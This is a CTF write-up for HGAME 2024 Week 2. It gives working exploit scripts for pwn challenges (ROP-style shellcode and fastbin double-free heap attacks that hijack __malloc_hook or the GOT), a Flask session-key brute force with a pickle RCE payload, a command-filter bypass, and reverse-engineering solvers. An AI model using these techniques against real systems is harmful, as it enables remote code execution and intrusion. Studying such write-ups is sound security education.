

# HGAME 2024 Week2

See the full proper rendered version on <https://hackmd.io/@pnck/B1cfzpCq6>  
(<https://hackmd.io/@pnck/B1cfzpCq6>).

links:

- [writeup of hgame2024 week1 \(all challenges\)](https://hackmd.io/@pnck/Hy7WXDS9a) (<https://hackmd.io/@pnck/Hy7WXDS9a>).

## PWN. Shellcode Master

```
.text:0000000000401345      mov     edx, 16h          ; nbytes
.text:000000000040134A      mov     rsi, rax          ; buf
.text:000000000040134D      mov     edi, 0            ; fd
.text:0000000000401352      mov     eax, 0
.text:0000000000401357      call    _read
.text:000000000040135C      lea     rax, large cs:402064h ; "Love!"
.text:0000000000401363      mov     rdi, rax          ; s
.text:0000000000401366      call    _puts
.text:000000000040136B      mov     rax, [rbp+buf]
.text:000000000040136F      mov     edx, 4            ; prot
.text:0000000000401374      mov     esi, 1000h        ; len
.text:0000000000401379      mov     rdi, rax          ; addr
.text:000000000040137C      mov     eax, 0
.text:0000000000401381      call    _mprotect
.text:0000000000401386      mov     r15, 2333000h     ; allocated by mmap
.text:000000000040138D      mov     rax, 2333h
.text:0000000000401394      mov     rbx, 2333h
.text:000000000040139B      mov     rcx, 2333h
.text:00000000004013A2      mov     rdx, 2333h
.text:00000000004013A9      mov     rsp, 2333h
.text:00000000004013B0      mov     rbp, 2333h
.text:00000000004013B7      mov     rsi, 2333h
.text:00000000004013BE      mov     rdi, 2333h
.text:00000000004013C5      mov     r8, 2333h
.text:00000000004013CC      mov     r9, 2333h
.text:00000000004013D3      mov     r10, 2333h
.text:00000000004013DA      mov     r11, 2333h
.text:00000000004013E1      mov     r12, 2333h
.text:00000000004013E8      mov     r13, 2333h
.text:00000000004013EF      mov     r14, 2333h
.text:00000000004013F6      jmp     r15
```

- The first payload is restricted to 22 bytes.
- All generic registers are wiped.
- The shellcode area is `mprotect -ed to --x` as soon as the first payload is read.

The key idea is, do not focus on the shellcode area, but **the stack**. You are even not able to `call` any subprocess without a stack.

If we manage to rebuild a stack at any static address, and manually form an **ROP-like shellcode**, it might be able to **reuse the shellcode** many times, which probably let us call `read()` again to place a rich payload.

After some random trial, I successfully made a reusable shellcode, which setup a basic `read()` syscall:

```
mov esp,{0x404000+8*4}; moving imm32 takes 5bytes
push 120;    len | pushing imm8 takes 2 bytes
push 0;      fd  | 2
push 0; sys_READ | 2
push rsp;    buf | 1
; pushing/popping generic register (no x64 prefix) takes 1 byte

; <<< reusable rop gadgets at 0x233300c
pop rsi;      1
pop rax;      1
pop rdi;      1
pop rdx;      1
syscall;      2
ret;          1
; >>>
; total length: 19 bytes
```

The remaining steps:

- Call `read()` several times to place ROP payloads;
- Perform ROP to `mprotect()` the shellcode area to be `rw` ;
- Call `read()` to write the final shellcode to the `rw` landing pad.

EXP (partial):

```
# sc1: place stack & ROP gadgets
sc1 = asm(
    f"mov esp,{0x404000+8*4}; push 120; push 0; push 0; push rsp; pop rsi; pop
)

# rop1: recall read() to place larger payloads
padding = p64(0xDEADC0DE) * 3 # $rsp => 0x404020, write at 0x404008, fill 8*3
rop1 = padding + p64(gadgets_addr) + p64(0x404000) + p64(0) + p64(0) + p64(0x1

# rop2: call mprotect(&sc, 0x1000, 7)
padding = p64(0xDEADC0DE) * 9 # $rsp => 0x404048, write at 0x404000, fill 8*9
rop2 = padding + p64(gadgets_addr) + p64(0x1000) + p64(0xA) + p64(0x2333000) +

# rop3: call read(0, &sc, 0x1000) and jump to sc
rop3 = (
    p64(gadgets_addr) + p64(0x2333000) + p64(0) + p64(0) + p64(0x1000) + p64(0
)

# sc2: shellcraft
sc2 = b"\x90" * 32 + asm(shellcraft.amd64.linux.cat("/flag"))
```

p.s. There is indeed a short 22 bytes shellcode(), but it's totally unrelated. Don't be trapped!

# PWN. FastNote

- A typical menu program, examining fastbin attacks.
- The program contains 3 functions
  - **Add** a note
  - **Show** the note at specified index
  - **Delete** the note at specified index
- Any content can be stored once when adding, and the note size is restricted to 0x80, which happen to allow the creation of the smallest ( 0x80+0x10 ) unsorted bin (for leakage of libc base address).

```
15 {
16     while ( 1 )
17     {
18         printf("Size: ");
19         __isoc99_scanf("%u", size);
20         if ( size[0] <= 0x80u )
21             break;
22         puts("Too big!");
23     }
24     notes[choice] = malloc((unsigned int)size[0]);
25     printf("Content: ");
26     read(0, (void *)notes[choice], (unsigned int)size[0]);
27 }
```

- There is an UAF vulnerability in *delete* function, which may cooperate with *show* function to exposes essential data from freed chunks:

```
15 {
16     ptr = (void *)notes[choice];           // notes[choice] dangling
17     if ( ptr )
18     {
19         free(ptr);
20         ptr = 0LL;
21     }
22 }
```

## Thoughts

- Fill 0x90-sized tcaches to put a chunk into unsorted bin .
- Read the chunk to leak *libc*.
- Fill *fastbin*-sized tcaches to do a fastbin **double-free**;
- The *fastbin* double-free will put two same chunk into *fastbin* lists.
- Call `malloc()` to drain tcache list;
- Call `malloc()` to drain *fastbin* list. Since the victim chunk has been allocated and filled with data before allocating it again, its content will be confused with the freed-chunk layout, where the `fd` is overlapped with our user data.
- When `malloc()` is trying to allocate chunks from *fastbin* lists, the remainigs will be stashed into tcache list, where it lacks validation thus arbitrary address can be treated as a chunk and returned.
- Read the arbitrary address by **showing** the note of fake chunk and write it by **adding**.

```
1  from pwn import *
2
3  context.arch = "amd64"
4
5  tc_size = 0x70 # chunk => 0x80
6
7  def getr():
8      # r = remote("127.0.0.1", 9000)
9      r = remote("106.14.57.14", 30145)
10     print(r.recv().decode())
11     return r
12
13
14     r = getr()
15
16
17     def add(x, size, content):
18         r.sendline(b"1") # add
19         r.sendline(b"%d" % x) # index
20         r.sendline(b"%d" % size) # size
21         r.send(content) # content
22         r.clean()
23
24
25     def show(x):
26         r.sendline(b"2") # show
27         r.recvuntil(b"Index")
28         r.clean()
29         r.sendline(b"%d" % x) # index
30         return r.recv()
31
32
33     def rm(x):
34         r.sendline(b"3") # rm
35         r.sendline(b"%d" % x) # index
36         r.clean()
37
38
39     # tcaches for fastbin double free
40     for i in range(7):
41         add(i, tc_size, b"TC")
42
43     # this is the victim chunks whose memory layout is overlapped with other
44     add(10, tc_size, b"FB")
45     add(11, tc_size, b"FB") # the helper
46
47
48     # fill tcache
49     for i in range(7):
50         rm(i)
51
52     info("tcache filled")
53     # pause()
54
55     # fastbin double free, so that the `fd` of victim chunk points to arbit
56     rm(10)
```

```

57 rm(11)
58 rm(10)
59
60 # drain tcache
61 for i in range(7):
62     add(i, tc_size, f"TC{i}".encode())
63 info("tcache drained, about to write")
64 # pause()
65
66
67 # tcaches for leaking
68 for i in range(8):
69     add(i, 0x80, b"MX")
70
71 add(15, 5, "LATCH")
72
73 # => unsorted bin
74 for i in range(8):
75     rm(i)
76
77 main_arena_ref = show(7)
78 main_arena_ref = u64(main_arena.split(b"\n")[0].ljust(8, b"\x00"))
79
80 # offsets are retrieved by gdb debugging
81 malloc_hook = main_arena_ref - 0x70
82 base = malloc_hook - 0x1ECB70
83
84 # 0xe3b01 execve("/bin/sh", r15, rdx)
85 # constraints:
86 # [r15] == NULL || r15 == NULL || r15 is a valid argv
87 # [rdx] == NULL || rdx == NULL || rdx is a valid envp
88 one_gadget = base + 0xE3B01
89
90 success(
91     f"malloc_hook: {hex(malloc_hook)}\nlibc base: {hex(base)}"
92 )
93
94
95 # alloc chunks back, the new chunk will be "allocated" at the address c
96 add(10, tc_size, p64(malloc_hook)) # victim, a fake `fd` is placed wher
97 add(11, tc_size, b"#11")
98 add(10, tc_size, p64(malloc_hook)) # alloc victim again, content overla
99
100 # alloc to overwrite malloc_hook
101 add(12, tc_size, p64(one_gadget))
102
103 add(13, tc_size, b"id\n") # trigger malloc_hook
104 r.interactive()

```

## References

- [shellphish's how2heap](https://github.com/shellphish/how2heap/tree/master/glibc_2.31) (https://github.com/shellphish/how2heap/tree/master/glibc\_2.31).
- [The glibc source](https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c) (https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c).

- <https://web.archive.org/web/20230417000418/https://bbs.kanxue.com/thread-272098.htm> (<https://web.archive.org/web/20230417000418/https://bbs.kanxue.com/thread-272098.htm>).

## PWN. OldFastNote

Very similar to fast note challenge, except the program was built with old glibc2.23 .

- No tcaches , the fastbins and unsorted bins can be directly used.
- But on the other hand, the address of forged chunk must be chosen very carefully to bypass the size check of fastbins in malloc()

Take a look around the `__malloc_hook` :

```
(remote) gef> x/80bc (void*)&__malloc_hook - 0x40
0x7ffff7dd1ad0: 0x0      0x0      0x0      0x0      0x0      0x0      0x0      0x0
0x7ffff7dd1ad8: 0x0      0x0      0x0      0x0      0x0      0x0      0x0      0x0
0x7ffff7dd1ae0: 0x0      0x0      0x0      0x0      0x0      0x0      0x0      0x0
0x7ffff7dd1ae8: 0x0      0x0      0x0      0x0      0x0      0x0      0x0      0x0
0x7ffff7dd1af0: 0x60     0x2      0xdd     0xf7     0xff     0x7f     0x0      0x0
0x7ffff7dd1af8: 0x0      0x0      0x0      0x0      0x0      0x0      0x0      0x0
0x7ffff7dd1b00 <__memalign_hook>: 0xa0     0x2e     0xa9     0xf7     0xff     0x7f     0x0      0x0
0x7ffff7dd1b08 <__realloc_hook>:  0x70     0x2a     0xa9     0xf7     0xff     0x7f     0x0      0x0
0x7ffff7dd1b10 <__malloc_hook>:  0x0      0x0      0x0      0x0      0x0      0x0      0x0      0x0
0x7ffff7dd1b18: 0x0      0x0      0x0      0x0      0x0      0x0      0x0      0x0
(remote) gef>
```

We can see that it's possible to treat these 8 bytes as `u64(0x7f)` and place a `0x7*` sized fastbin chunk here to cover the `__malloc_hook` .

In order to pick the chunk into correct slot of fastbins , the "chunk forger" i.e. the previous legal chunks must be in same size category. Thus the size of the requiring notes should be `0x60 (+0x10)` .

```

1  # interactive functions
2  # ...
3  note_size = 0x60 # chunk => 0x70
4
5  add(0, 0x80, b"UB") # unsorted bin, to leak arena
6
7  add(1, note_size, b"1") # double free constructions
8  add(2, note_size, b"2")
9
10 rm(0)
11 main_arena = u64(show(0).split(b"\n")[0].ljust(8, b"\x00"))
12 malloc_hook = main_arena - 0x68
13 base = malloc_hook - 0x3C4B10
14
15 # perform double free
16 rm(1)
17 rm(2)
18 rm(1)
19 add(1, note_size, p64(malloc_hook - 0x23))
20 add(2, note_size, b"2")
21
22 pause() # <= check if the fake chunk is correctly linked
23 add(1, note_size, p64(malloc_hook - 0x23))
24 add(3, note_size, b"X" * 11 + p64(one_gadget) * 5)
25
26 # trigger malloc hook
27 add(4, note_size, b"SHELL")

```

```

Fastbins for arena at 0x7ffff7dd1b20
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x6030a0, size=0x70, flags=PREV_INUSE | IS_MMAPPED | NON
AIN_ARENA) ← Chunk(addr=0x7ffff7dd1afd, size=0x78, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
← [Corrupted chunk at 0x7ffff7dd1afd]
Fastbins[idx=6, size=0x80] 0x00

Unsorted Bin for arena at 0x7ffff7dd1b20
[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
→ Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.

Small Bins for arena at 0x7ffff7dd1b20
[+] Found 0 chunks in 0 small non-empty bins.

Large Bins for arena at 0x7ffff7dd1b20
[+] Found 0 chunks in 0 large non-empty bins.
(remote) gef> 

```

At the pause point we can see the forged chunk has got a valid size and linked to the legal chunk going to be allocated. The mask bits won't be check during allocating from fastbins, so the chunk is returned as expected.

And the last thing worth mentioning is the *one gadget* .

```

root@2f5d6248e758:/tmp/ofastnote# one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...}

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...}

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...}

```

Break at where the `one_gadget` being executed and test these constraints, it turns that `$rsp+0x50` and `$rsp+0x70` are likely to be same and probably be 0. So just take the latter 2 gadgets.

## PWN. EldenRingII

---

An even easier version of *fast note*. There are `add` / `delete` / `edit` / `show` 4 functions, and still a UAF which enables to write any data to the freed chunks.

```

[+] checksec for '/tmp/ringII/vuln_patched'
Canary                : ✗
NX                    : ✓
PIE                   : ✗
Fortify               : ✗
RelRO                 : Partial

```

As it shows the program is statically mapped and the `got.plt` is writable. So the exploitation can be very simplified to:

- Perform `fastbin` double-free to construct a chunk covering the static `notes` variables.
- Edit the chunk, then we can modify any `notes` pointer
- Read / write arbitrary address by `Showing` / `Editing` the content of `notes` being modified.
- Since we got stable read-write loop, let `DynELF` finish the job. We can hijack any entry of `got.plt` to execute the `getshell` gadget.



```

1  # interactive functions
2  # ...
3  # https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_po
4  add(0, tc_size)
5  add(1, tc_size)
6  rm(0)
7  rm(1)
8
9  # change the #1.fid to &notes so that it will be returned later when malloc
10 edit(1, p64(v.sym["notes"])) # v => vulnerable
11 add(2, tc_size)
12 add(3, tc_size) # the fake chunk; => &notes[0]
13
14 # now we get R/W loop at arbitrary address
15 def leak(addr):
16     edit(3, p64(addr)) # change note[0] to point to addr
17     ret = show(0)
18     if not ret:
19         ret = b"\x00" # puts() treatment
20     return ret
21
22 def write(addr, data):
23     edit(3, p64(addr))
24     edit(0, data) # write any data to addr
25
26 # network check, those time-related chore has to be tweaked
27 assert leak(v.sym["main"])[4] == bytes.fromhex("F3 0F 1E FA")
28 success("Arbitrary RW ready")
29
30 # normal DynELF routine
31 dyn = DynELF(leak, pointer=0x401000)
32 system = dyn.lookup("system", "./libc.so.6")
33 success("essential gadgets ready")
34
35 write(0x404500, b"/bin/sh\x00") # place /bin/sh into any mapped R/W space
36 write(v.got["free"], p64(system)) # got.free => system
37 edit(3, p64(0x404500)) # change #0 => "/bin/sh"
38 rm(0) # => system("/bin/sh")
39 r.interactive()
40

```

## RE. ezCPP

---

- Nothing to do with `cpp`, just a boring **TEA -like** cipher.

- 32 rounds each turn, repeat 4 times; each turn the encryption shift ahead by 1 byte.

```

do
{
    sum0 -= -0xDEADBEEF;
    d_0 += (sum0 + d_4) ^ (16 * d_4 + 1234) ^ (32 * d_4 + 2341); // the critical behavior of TEA
    d_4 += (sum0 + d_0) ^ (16 * d_0 + 3412) ^ (32 * d_0 + 4123);
    --round;
}
while ( round ); // turn 1 on [0,8)
*( _DWORD *)a->data = d_0;
sum1 = 0;
*( _DWORD *)&a->data[4] = d_4;
round = 32i64;
d_1 = *( _DWORD *)&a->data[1]; // turn 2 on [1,9)
d_5 = *( _DWORD *)&a->data[5];
delta_0xdeadbeef = a->p_deadbeef;
k0_2341 = a->p_2341;
k1_1234 = a->p_1234;
k2_4123 = a->p_4123;
k3_3412 = a->p_3412;
do
{
    sum1 += delta_0xdeadbeef;
    d_1 += (sum1 + d_5) ^ (k0_2341 + 32 * d_5) ^ (k1_1234 + 16 * d_5);
    d_5 += (sum1 + d_1) ^ (k2_4123 + 32 * d_1) ^ (k3_3412 + 16 * d_1);
    --round;
}
while ( round );

```

```

1  def _decipher(v, sum, delta=0xDEADBEEF):
2      sum = ctypes.c_uint32(sum)
3
4      y, z = [ctypes.c_uint32(x) for x in v]
5
6      for n in range(32, 0, -1):
7          z.value -= (
8              ((y.value << 4) + 3412) ^ (y.value + sum.value) ^ ((y.value +
9              )
10             y.value -= (
11                 ((z.value << 4) + 1234) ^ (z.value + sum.value) ^ ((z.value +
12                 )
13             sum.value -= delta
14
15         return [y.value, z.value]
16
17
18  final_sum = 0xDEADBEEF * 32
19
20  t = _decipher(unpack("<II", enc[3:11]), final_sum)
21  t = pack("<II", *t)
22  enc = enc[:3] + t + enc[11:]
23
24  t = _decipher(unpack("<II", enc[2:10]), final_sum)
25  t = pack("<II", *t)
26  enc = enc[:2] + t + enc[10:]
27
28  t = _decipher(unpack("<II", enc[1:9]), final_sum)
29  t = pack("<II", *t)
30  enc = enc[:1] + t + enc[9:]
31
32  t = _decipher(unpack("<II", enc[0:8]), final_sum)
33  t = pack("<II", *t)
34  enc = enc[:0] + t + enc[8:]
35
36  print(enc)

```

## RE. babyRE

- There is an initializer resetting the key:

```

1 void copy_a_feifei()
2 {
3     strcpy(a123456, "feifei");
4 }

```



xrefs to copy\_a\_feifei

Direct	Type	Address	Text
Down o		.init_array:000000000000...	dq offset copy_a_feifei

- And there is a traversal loop which Xor each key byte by 0x11 :

```
c = __readfsqword(0x28u);
get_input();
if ( !__sigsetjmp(env, 1) )
{
    signal(8, (__sighandler_t)handler);
    for ( xor_count = 0; xor_count <= 5; ++xor_count )
        a123456[xor_count] ^= 0x11u;
}
```

The author put a little trap in this snippet. Don't you doubt that what's the purpose at all of setting a strange signal handler? Signumber 8 stands for SIGFPE , which is alarmed when a **Float Point Exception** occurs.

Okay then... where does the float point come from?

Check the disassembly, we see that there is a trap hidden from the decompilation.

```
0000018DD      mov     eax, [rbp+xor_count]
0000018E0      sub     eax, 3                ; Integer Subtraction
0000018E3      mov     [rbp+xor_len_minus_3], eax
0000018E6      mov     eax, 1
0000018EB      cdq                     ; EAX -> EDX:EAX (with sign)
0000018EC      idiv     [rbp+xor_len_minus_3] ; WARN: div by 0 if xor count reach 3
0000018EF      mov     [rbp+_], eax         ; no effect
0000018F2      mov     eax, [rbp+xor_count]
0000018F5      cdqe                     ; EAX -> RAX (with sign)
```

On the [stackoverflow people had explained](https://stackoverflow.com/questions/16928942/why-does-integer-division-by-zero-result-in-a-floating-point-exception) (<https://stackoverflow.com/questions/16928942/why-does-integer-division-by-zero-result-in-a-floating-point-exception>) the FPE and *div-by-zero* stuff. In a word SIGFPE is raised whenever meeting arithmetic faults. So the Xor loop only executes 3 times, leaving the key "wtxfei" .

- The 4 threads define 4 diffent operation on single byte.

```
16 sem_init(&sem0, 0, 1u);
17 sem_init(&sem1, 0, 0);
18 sem_init(&sem2, 0, 0);
19 sem_init(&sem3, 0, 0);
20 pthread_create(&threads, 0LL, (void (*)(void *))fn0, 0LL);
21 pthread_create(&threads[1], 0LL, (void (*)(void *))fn1, 0LL);
22 pthread_create(&threads[2], 0LL, (void (*)(void *))fn2, 0LL);
23 pthread_create(&threads[3], 0LL, (void (*)(void *))fn3, 0LL);
24 for ( i = 0; i <= 3; ++i )
25     pthread_join(threads[i], 0LL);
26 judge();
```

```

1 void __fastcall __noreturn fn0(void *a1)
2 {
3     while ( 1 )
4     {
5         sem_wait(&sem0);
6         if ( hd > 31 )
7             break;
8         input[hd] += a123456[(hd + 1) % 6] * input[hd + 1];
9         ++hd;
10        sem_post(&sem1);
11    }
12    sem_post(&sem1);
13    pthread_exit(0LL);
14 }

```

- Each of them has the same logic:
  1. Wait a semaphore.
  2. Encipher 1 byte.
  3. Increase the global index counter.
  4. Post to the next semaphore so that the next cipher function runs.

Obviously the cipher bytes are generated sequentially and entangled with the near byte. So the plain flag should be recovered from the tail.

```

1  # IDAPython
2  struct.unpack('<'+ 'I'*32, get_bytes(get_name_ea_simple('enc'), 32*4))
3
4  # decipher script
5  enc = (0x2F14, 0x4E, ... , ord('}')) # manually putting the last byte mal
6
7  def rfn0(b, n):
8      # input[hd] += a123456[(hd + 1) % 6] * input[hd + 1];
9      return c_uint32(b[n] - (a[(n + 1) % 6] * b[n + 1])).value
10
11
12  def rfn1(b, n):
13      # input[hd] -= a123456[(hd + 1) % 6] ^ input[hd + 1];
14      return c_uint32(b[n] + (a[(n + 1) % 6] ^ b[n + 1])).value
15
16
17  def rfn2(b, n):
18      # input[hd] *= input[hd + 1] + a123456[(hd + 1) % 6];
19      return c_uint32(b[n] // (a[(n + 1) % 6] + b[n + 1])).value
20
21
22  def rfn3(b, n):
23      # input[hd] ^= input[hd + 1] - a123456[(hd + 1) % 6];
24      return c_uint32(b[n] ^ (b[n + 1] - a[(n + 1) % 6])).value
25
26  def transform(b, n, f):
27      b[n] = f(b, n)
28      return b
29
30
31  l = list(enc)
32  for i in range(30, -1, -1):
33      l = transform(l, i, (rfn0, rfn1, rfn2, rfn3)[i % 4])
34
35  print(bytes(l).decode())

```

## RE. Arithmetic

- Packed by an unknown packer, has to be analyzed under dynamic debugging, which can be deal with the \*SP law discussed in the previous contest

(<https://hackmd.io/@pnck/Hy7WXDS9a#RE-ezUPX>).

The main() function:

```

1  __int64 __stdcall likely_main(int argc, char *argv[], void *env)
2  {
3      unsigned int t; // eax
4      __int64 i; // rbx
5      FILE *f_out; // rbp
6      int col; // edx MAPDST
7      int row; // eax MAPDST
8      int sum; // edi
9      __int64 row_max; // r14
10     __int64 offset; // rbp
11     __int64 chunk; // rsi
12     int cur_path; // eax
13     __int64 total_off; // rcx
14     int cur_value; // eax
15
16     t = time64(0i64);
17     srand(t);
18     i = 1i64;
19     row = 1;
20     col = 1;
21     f_out = fopen(FileName, Mode); // "out", "rb"
22     if ( fscanf(f_out, "%d", &wtf_matrix_input[1][1]) != -1 )
23     {
24         do
25         {
26             col = 1;
27             if ( row != col )
28                 ++col;
29             ++row;
30         }
31         while ( fscanf(f_out, "%d", &wtf_matrix_input[row][col]) != -1 );
32     }
33     sum = wtf_matrix_input[1][1]; // int wtf_matrix_input[1][1]
34     row_max = row - 1;
35     if ( row_max >= 1 )
36     {
37         offset = 1i64;
38         chunk = 1000i64;
39         do
40         {
41             cur_path = rand() % 2 + 1;
42             total_off = chunk + offset; // offset never goes back to 0
43             path_vector[i] = cur_path;
44             if ( cur_path == 1 )
45             {
46                 cur_value = wtf_matrix_input[0][total_off]; // actually: [chunk][total_off]
47             }
48             else // path 1 => stay at pos; path 2 => pos + 1
49             {
50                 cur_value = wtf_matrix_input[0][total_off + 1]; // actually: [chunk][total_off + 1]
51                 ++offset;
52             }
53             sum += cur_value;
54             ++i;
55             chunk += 500i64;
56         }

```

```

57     while ( i <= row_max );
58 }
59 if ( sum >= 6752833 )                // wtf max number?
60     printf_5("hgame{path_32-bit_md5_lowercase_encrypt}");
61     return 0i64;
62 }

```

There are some strange indecies/offsets in my decompilation. Let's take a look at the attachment file, it will be much clearer:

```

root@2f5d6248e758:/tmp/arithmetic# cat arithmetic/out | wc -l
500
1290
7681 4953
18218 13373 18242
8549 13210 19602 16018
8355 1711 5409 18651 11563
10516 16953 11197 3237 7776 5956
19563 4367 3115 3852 2775 10431 12641
14910 7083 5737 3413 6254 1689 12866 7959
3995 17845 18021 8041 1524 14050 2678 7630 13819
16778 646 13507 7657 1171 17719 1651 5874 8334 7937
10854 10827 9233 14708 8986 553 743 8670 12885 17259 9830
5007 57 2875 8834 15931 9785 3889 1664 3199 8427 15929 12013
14856 2847 9046 4816 3825 8719 10950 16350 4076 6134 5768 10189 7075
7558 28 4138 13790 3317 4522 15183 2023 16920 12677 4175 6029 6451 1937
17492 518 2191 9059 587 13689 4397 7880 7902 17531 16475 6889 12995 55 1
7917 1651 9843 7916 2847 13533 7729 3005 15186 10043 2452 11131 11074 24
9
6141 11078 17587 9954 11073 18796 10912 3352 13384 9252 12700 2591 1634
:[]

```

This is a text file containing 500 lines, and each line has a searies of numbers. The program read the whole file and randomly generate a path that goes top-down. And the accumulator sums up all the travelled number to see if greater than 6752833 . If so, print the flag hint.

So our goal should be **find out the way getting the max sum**, and the flag will be the md5 hash of the path sequence.

Obviously this is a DP problem. **The max sum at each number's position is uniquely determined. And it only depends on 2 variables: the sum from above and the sum from upper left** (and the number itself, of course).

So we can solve the promblem by traversing every number, record the **max sum** and **the path** whether the sum comes from **left or above**. After then we take the max sum from the last row, and its path should be the answer.



```

1  import numpy as np
2
3  _d = open("out").read()
4  _dl = _d.replace(" \n", " ").split(" ")[:-1] # trim
5  nums = np.zeros((500, 500), dtype=np.int32)
6  nums[np.tril_indices_from(nums)] = _dl
7
8  del _d
9  del _dl
10
11 max_sums = np.empty((500, 500), dtype=object)
12 max_sums[0, 0] = (nums[0, 0], "")
13 max_sums[1, 0] = (nums[0, 0] + nums[1, 0], "1")
14 max_sums[1, 1] = (nums[0, 0] + nums[1, 1], "2")
15 for row in range(2, 500):
16     for col in range(row + 1):
17         sum = nums[row, col]
18         from_above = max_sums[row - 1, col]
19         from_left = max_sums[row - 1, col - 1]
20         if from_above and (not from_left or from_above[0] > from_left[0]):
21             path = from_above[1] + "1"
22             max_sums[row, col] = (sum + from_above[0], path)
23         else:
24             path = from_left[1] + "2"
25             max_sums[row, col] = (sum + from_left[0], path)
26
27
28 path = np.max(max_sums[499], axis=0)
29 assert path[0] >= 6752833
30 assert len(path[1]) == 499
31
32 from hashlib import md5
33
34 flag = f"hgame{{{md5(path[1].encode()).hexdigest()}}}"
35
36 print(path[1])
37 print(flag)
38

```

## WEB. COW


---

Yet another *cowsay challenge*.

Some keywords are filtered:

# Cowsay What?

cowsay:



http://106.14.57.14:32062/post

Use POST method

Body

user\_input=\$(which cat)

MODIFY HEADER

☒

Name

Origin

☒

Name

DNT

Name

⋮

Console


What's new

×

Issues

Highlights from the Chrome 121 update

Easily bypass it by taking advantage of `printf`



**Cowsay What?**

cowsay:

---

```
/ hgamef /
```

-----

[illegible]

## WEB. myFlask

2 examine points.

- Mock session for flask apps  
(<https://web.archive.org/web/20221202115706/https://cbatl.gitee.io/2020/11/15/Flask-session/>).
- The pickle unserialization exploit.  
(<https://web.archive.org/web/20231222020844/https://goodapple.top/archives/1069>).

The *SECKEY* used to sign the session is a time-based string, and it's fixed since the server has started:

```
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
```

```
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
```

Since it doesn't change, it's easy to brute-force it by mocking the flask session:

```
1 class MockApp(object):
2
3     def __init__(self, time=(_H, 0, 0), echo=False):
4         h, m, s = time
5         currentDateAndTime = datetime.now(timezone("Asia/Shanghai"))
6         dt = datetime(
7             currentDateAndTime.year,
8             currentDateAndTime.month,
9             currentDateAndTime.day,
10            h,
11            m,
12            s,
13        )
14        self.secret_key = dt.strftime("%H%M%S")
15        if echo:
16            print(f"SECRET_KEY: {self.secret_key}")
17
18
19 from flask.sessions import SecureCookieSessionInterface
20
21
22 def mock_session(username, time, **kw):
23     return (
24         SecureCookieSessionInterface()
25         .get_signing_serializer(MockApp(time, **kw))
26         .dumps({"username": username})
27     )
28
29 # brute force the time / seckey
30 sign_time = None
31 with requests.Session() as s:
32     r = s.get(f"{url}")
33     real_session = s.cookies["session"]
34     for m in range(60):
35         for sec in range(60):
36             fake_session = mock_session("guest", (_H, m, sec))
37             if fake_session == real_session:
38                 sign_time = (_H, m, sec)
39                 print(f"found ts: {sign_time}")
40                 mock_session("guest", (_H, m, sec), echo=True)
41                 break
```

The flag can be retrieved by the `send_file()` route:

```
@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')
```

We can make an evil *pickle* to execute a system command that `cat` the flag into `app.py` , and access `/` to get the result. Attention that the server automatically reloads when the source file changes, so the SECKEY need to be cracked again each time after executing the "*write-to-file*" command.

```
1  # exploit the pickle
2  class Exploit(object):
3      def __reduce__(self):
4          return (os.system, ("""printf '\n# %s' $(cat /flag) >> app.py """))
5
6
7  with requests.Session() as s:
8      fake_session = mock_session("admin", sign_time)
9      s.cookies["session"] = fake_session
10     r = s.get(f"{url}/flag")
11     assert "admin" in r.text
12     pickle_data = pickle.dumps(Exploit())
13     pickle_data_b64 = base64.b64encode(pickle_data).decode()
14     data = {"pickle_data": pickle_data_b64}
15     r = s.post(f"{url}/flag", data=data)
16     open("/tmp/result.html", "w").write(r.text)
```

**Attachment: the source**

```

1  import pickle
2  import base64
3  from flask import Flask, session, request, send_file
4  from datetime import datetime
5  from pytz import timezone
6
7  currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
8  currentTime = currentDateAndTime.strftime("%H%M%S")
9
10 app = Flask(__name__)
11 # Tips: Try to crack this first ↓
12 app.config['SECRET_KEY'] = currentTime
13 print(currentTime)
14
15 @app.route('/')
16 def index():
17     session['username'] = 'guest'
18     return send_file('app.py')
19
20 @app.route('/flag', methods=['GET', 'POST'])
21 def flag():
22     if not session:
23         return 'There is no session available in your client :('
24     if request.method == 'GET':
25         return 'You are {} now'.format(session['username'])
26
27     # For POST requests from admin
28     if session['username'] == 'admin':
29         pickle_data=base64.b64decode(request.form.get('pickle_data'))
30         # Tips: Here try to trigger RCE
31         userdata=pickle.loads(pickle_data)
32         return userdata
33     else:
34         return 'Access Denied'
35
36 if __name__=='__main__':
37     app.run(debug=True, host="0.0.0.0")

```

## MISC. 华容道

---

A programming challenge about the "Klotski", a.k.a the 「华容道」 puzzle.

(<https://en.wikipedia.org/wiki/Klotski>).

The game server sets a very severe restriction that **requires solving 11 rounds of the puzzle (up to 180 steps!) in 10 seconds**. This is very hard for python to follow up. I realized that long after finishing the algorithm, at the moment the code had been filled with *nested functions* and *exceptions*. So I didn't want to port the algorithm to other languages.

I finally managed to speed up by caching all solutions found previously, and burn up the CPU to generate as much as possible solutions with ***multiprocessing***.

[illegible]

```

→ /tmp python3 maze.py solutions.json 2
Using cache file solutions.json, solver: 2
Loaded 336 solutions
Use cached 336 solutions
Use cached 336 solutions
{'gameId': 931319340, 'layout': '25123113122130031411', 'status': 'ok'}
